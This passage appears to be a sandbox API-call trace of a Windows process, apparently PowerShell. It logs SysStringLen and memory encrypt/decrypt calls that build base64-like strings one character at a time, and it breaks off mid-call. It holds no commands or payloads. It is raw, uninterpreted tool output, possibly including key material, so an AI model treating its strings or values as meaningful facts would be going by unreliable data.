SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻纫͇㿴痨᭒떿") returned 0x20 [0218.399] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻纫͇㿴痨᭒떿") returned 0x20 [0218.399] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.399] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasએ尅碼Ѐ") returned 0x20 [0218.399] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.399] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻⟷꽫Ʝ窋奆謕壹Ὰ") returned 0x20 [0218.399] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻⟷꽫Ʝ窋奆謕壹Ὰ") returned 0x20 [0218.399] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.399] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasd尅碼Ѐ") returned 0x20 [0218.399] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.400] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻迗㴱曉脓쎂鹼ꘐ") returned 0x20 [0218.400] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻迗㴱曉脓쎂鹼ꘐ") returned 0x20 [0218.400] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.400] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdI碼Ѐ") returned 0x20 [0218.400] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.400] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻ᅤ嚽Þ웘䜎ꈜ⯰鉜") returned 0x20 [0218.400] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻ᅤ嚽Þ웘䜎ꈜ⯰鉜") returned 0x20 [0218.400] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.400] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIFЀ") returned 0x20 [0218.400] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.669] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻걉睼䆇蔹耖ā控⤢") returned 0x20 [0218.669] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻걉睼䆇蔹耖ā控⤢") returned 0x20 [0218.669] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.670] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/") returned 0x20 [0218.670] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.670] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴") returned 0x20 [0218.670] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴") returned 0x20 [0218.670] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴") returned 0x20 [0218.670] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴") returned 0x28 [0218.670] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.671] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/v탌踧삡⬲妖ꃏ") returned 0x28 [0218.671] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.671] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴쥱쑰솭ܐ㦔듹⍚") returned 0x28 [0218.671] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴쥱쑰솭ܐ㦔듹⍚") returned 0x28 [0218.671] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.671] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vp踧삡⬲妖ꃏ") returned 0x28 [0218.671] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.671] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴૒盄\᧚耍6붙∢) returned 0x28 [0218.671] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴૒盄\᧚耍6붙∢) returned 0x28 [0218.671] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.671] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpj삡⬲妖ꃏ") returned 0x28 [0218.672] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.672] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴칮藜㡻ᲀ䩳郹ꖽ") returned 0x28 [0218.672] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴칮藜㡻ᲀ䩳郹ꖽ") returned 0x28 [0218.672] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.672] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjx⬲妖ꃏ") returned 0x28 [0218.672] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.672] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴馈ꡨ郕煉㱨迏麿䧦") returned 0x28 [0218.672] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴馈ꡨ郕煉㱨迏麿䧦") returned 0x28 [0218.672] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.672] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxu妖ꃏ") returned 0x28 [0218.672] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.672] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴祸℆㯵惓䮈픐嚯") returned 0x28 [0218.672] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴祸℆㯵惓䮈픐嚯") returned 0x28 [0218.673] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.673] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxuH妖ꃏ") returned 0x28 [0218.673] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.673] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴讼嚕ຣ凕瘉庚绤藐") returned 0x28 [0218.673] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴讼嚕ຣ凕瘉庚绤藐") returned 0x28 [0218.673] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.673] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxuHSꃏ") returned 0x28 [0218.673] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.673] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴盥膑﯊刺坢") returned 0x28 [0218.673] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴盥膑﯊刺坢") returned 0x28 [0218.673] SystemFunction041 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.673] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxuHS8") returned 0x28 [0218.673] SystemFunction040 (in: Memory=0x5c920f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c920f4) returned 0x0 [0218.674] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘") returned 0x28 [0218.674] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘") returned 0x28 [0218.674] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘") returned 0x28 [0218.674] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘") returned 0x30 [0218.674] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.675] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxuHS8fꓶ萞䁘匹כּ俣") returned 0x30 [0218.675] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.675] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘姟ୡऽࢄ扃抰⽘笥") returned 0x30 [0218.675] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘姟ୡऽࢄ扃抰⽘笥") returned 0x30 [0218.675] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.675] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxuHS8fv萞䁘匹כּ俣") returned 0x30 [0218.675] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.675] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘\Ú岽⎳㭐쭁樯梤∬) returned 0x30 [0218.675] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘\Ú岽⎳㭐쭁樯梤∬) returned 0x30 [0218.675] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.675] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxuHS8fvs䁘匹כּ俣") returned 0x30 [0218.675] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.675] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘柯⼡ᰳɐ❀⥲琋") returned 0x30 [0218.675] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻᪏漏穯ꃝ嵙⫥淴鱣殺粧衈苘柯⼡ᰳɐ❀⥲琋") returned 0x30 [0218.675] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.676] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMasdIF/vpjxuHS8fvs=匹כּ俣") returned 0x30 [0218.676] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0218.676] EtwEventActivityIdControl () returned 0x0 [0218.676] EtwEventActivityIdControl () returned 0x0 [0218.676] EtwEventActivityIdControl () returned 0x0 [0218.677] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0218.678] EtwEventActivityIdControl () returned 0x0 [0218.678] EtwEventActivityIdControl () returned 0x0 [0218.678] EtwEventActivityIdControl () returned 0x0 [0218.679] SysStringLen (param_1="") returned 0x8 [0218.679] SysStringLen (param_1="N") returned 0x8 [0218.679] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.679] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0218.679] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0218.679] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.679] SysStringLen (param_1="ND") returned 0x8 [0218.679] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.679] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0218.679] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0218.679] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.679] SysStringLen (param_1="NDZ") returned 0x8 [0218.680] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.680] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0218.680] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0218.680] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.680] SysStringLen (param_1="NDZl") returned 0x8 [0218.680] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.680] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0218.680] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0218.680] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.680] SysStringLen (param_1="NDZlO") returned 0x8 [0218.680] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.680] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0218.680] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0218.680] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.681] SysStringLen (param_1="NDZlOD") returned 0x8 [0218.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.681] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0218.681] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0218.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.681] SysStringLen (param_1="NDZlODR") returned 0x8 [0218.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.681] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0218.681] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0218.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.681] SysStringLen (param_1="NDZlODRm") returned 0x8 [0218.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0218.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0218.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0218.682] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0218.682] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.682] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0218.682] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0218.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0218.683] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.683] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0218.683] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0218.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0218.683] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.683] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0218.683] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0218.683] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0218.683] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.684] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0218.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0218.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0218.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.684] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0218.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0218.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0218.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.684] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0218.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0218.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0218.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.685] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0218.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0218.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0218.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.685] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0218.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0218.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0218.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0218.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0218.686] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.686] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0218.686] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0218.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0218.686] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.686] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0218.686] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0218.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0218.686] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.687] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0218.687] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0218.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0218.687] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.687] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0218.687] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0218.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0218.687] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.687] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0218.687] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0218.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0218.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | 